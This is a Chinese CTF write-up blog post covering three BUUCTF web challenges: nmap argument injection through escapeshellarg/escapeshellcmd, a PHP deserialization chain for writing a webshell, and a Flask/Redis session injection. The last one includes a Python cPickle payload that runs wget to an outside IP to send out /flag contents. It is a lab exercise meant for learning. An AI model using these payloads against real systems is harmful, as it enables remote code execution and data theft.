BUUCTF平台-web-边刷边记录-2
1.one line tool
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
} if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
这道题主要是命令注入,利用escapeshellarg 和 escapeshellcmd前后使用时通过注入单引号来导致逃逸出一个单引号 从而导致可以参数注入
这里主要用到nmap的两个参数-iL 和-oN 以任意格式输出,-oX不行,这样不会把/flag的内容输出,必须要用-N才能解析/flag中的内容,从而输出到指定的路径,像这种短的代码都可以拿到本地来测试,也很方便调试。
payload:' + -iL /flag + -oN 输出路径
2.upload
这道题来自2019强网杯,直接扫描目录就能得到源代码,之后就进行代码审计:
对于这种mvc框架性的web,可以直接先看其路由,然后结合路由以及控制器去看程序的逻辑
首先反序列化点在此,那么接下来要找可以利用的类,那么既然存在反序列化那么就要找__destruct方法了,一共有四个类:
但是只有index.php才存在__destruct方法,那么我们应该反序列化这个类来触发漏洞
那么这里通过序列化profile类来进行反序列化,这里调用index()方法,而其不存在index方法,则会调用__call方法
这里__call方法又会调用name属性,也就是index属性,但是明显不存在这个属性,那么此时会调用__get方法,返回profile类的except数组中的值,当时我想的是这里能不能直接进行代码执行,因为有这一串:
$this->{$this->{$name}}($arguments);
这里是不能够任意代码执行的
这里只能调用profile类中的已经定义的方法,因为是先解析出来$this->$d的值,然后再调用$this>"b"(),此时不存在b方法,并不会去解析$b变量,所以这里通过调用上传文件方法,来达到写shell的效果:
3.bookhub
这道题在登陆时限制了一些内网的ip的白名单,并且给了一个外网的ip,此时修改xff是不行的,nginx获取到的是中间转发过去的ip地址
,而给的外网ip的5000端口就开了一个debug模型的web,buu里面直接给的debug模式下的。
然后就是涉及未授权访问,这里涉及到python的修饰器调用顺序
正常情況下,如上图,调用顺序为login_required->user_blueprint,但是在debug模式下:
这里login_required放在了外层,那么就没用了,可以直接访问refresh_session方法,这里做题的时候直接观察也可以,除了这一处其它地方login都在里层。这个函数的作用是清除除了自己的以外所有人的session
首先访问这个路由,发现需要设置csrf token
然后回到登陆页找到表单的csrf token值,再次访问
此时访问成功了,此时又涉及到session的拼接,prefix不可控,但是flask的session在客户端,是可以控制的,因此进行拼接
又因为app.config['SESSION_KEY_PREFIX'] = 'bookhub:session:',所以可以拼接:
19a79b29-3524-4efa-99d6-3997ae425761",redis evilcode,"bookhub:session:aaa
首先对我们的bookhub:session进行一个覆盖,赋值为aaa,然后将redis的恶意数据拼接进去,然后当我们带着aaa这个session当问的时候就会触发pickle反序列化来执行恶意代码。所以接下来就是如何构造evilcode,我们可以给自己构造的session赋值为反弹shell的值。然后再带着session触发序列化即可。
首先生成payload:
import cPickle
import os class exp(object):
def __reduce__(self):
s="wget 104.224.146.7:23333?`cat /flag* | base64`"
return (os.system,(s,)) e = exp()
s = cPickle.dumps(e)
s_bypass = ""
for i in s:
s_bypass +="string.char(%s).."%ord(i)
evilcode = '''
redis.call("set","bookhub:session:tr1ple",%s)
'''%s_bypass[:-2]
payload = '''
6f17c248-ed0d-4d74-bba6-21b9342c854a",%s,"bookhub:session:tr1ple
'''%evilcode
print payload.replace(" ","")
这里要用到cpickle来生成序列化的数据,然后再拼接到payload中
这里首先要带着生成的payload作为cookie值去访问login来得到csrf的token值,然后此时再向 /admin/system/refresh_session/ 页面post我们的csrf_token&submit,此时并将payload放到bookhub-session中,此时就能够将cookie值设置到redis中,那么此时只要再访问login页面就能触发redis反序列化session中的payload,从而带出flag的值
然后此时再触发session的拼接,然后此时带着bookhub-session为tr1ple的值访问login,就会触发反序列化
此时vps上已经接收到了flag的值
当我们进入redis,想要查看存储的值时,可以使用keys *来查看所有存储的值
import cPickle
import os
class genpoc(object):
def __reduce__(self):
s = """wget 104.224.146.7:23333"""
return os.system, (s,)
evil = cPickle.dumps(genpoc())
print evil.replace("\n","\\n")
我们也可以不用转码来构造pickle的序列化数据
bookhub-session=aaa"} redis.call("set","bookhub:session:aaa","pickle序列化数据")--;
通过redis.call来设置session值,这里app里已经设置了session的前缀为bookhub:session:,所以aaa的值就可以设置为序列化数据
此时就能够带上csrf_token去访问refresh页面来设置新的cookie值,然后再设置session为aaa去访问login从而触发反序列化,同样能收到请求
最新文章
- 云计算之路-阿里云上:从ASP.NET线程角度对“黑色30秒”问题的全新分析
- 别出心裁的Linux命令学习法
- php把错误日志输入到文件里。
- 表生成器@ TableGenerator
- (window)Android Studio安装以及Fetching android sdk component information超时的解决方案
- win2008 64位 + oracle11G 64位 IIS7.5 配置WEBSERVICE
- Beforeunload打点丢失原因分析及解决方案
- css案例学习之父子块的margin
- 3.1 cron表达式
- 自定义bootstrap样式-9行样式自定义漂亮大气bootstrap导航栏
- (NO.00003)iOS游戏简单的机器人投射游戏成形记(十四)
- Java之函数式接口
- SD: 关于价格过程的确定
- 以太坊中的账户、交易、Gas和区块Gas Limit等概念
- ASP入门(十八)-访问Access中的数据库
- Java学习图谱
- PHP运行模式简单总结
- js 基础拓展
- 关于 Source Engine 2007 网络通信的分析
- git clone命令使用
热门文章
- UPX编译及so加固
- netty 自定义协议
- h5嵌套iframe实时传参(适用vue)
- mybatis+oracle 批量插入,若数据库中有则做更新操作
- json-server
- troubshooting-sqoop 导出 TiDB表数据报com.mysql.jdbc.exceptions.jdbc4.CommunicationsException: Communications link failure
- WebApi接口测试工具
- 归并排序C程序详解
- java 中操作字符串都有哪些类?(未完成)它们之间有什么区别?(未完成)
- 接口自动化平台——httprunnermanager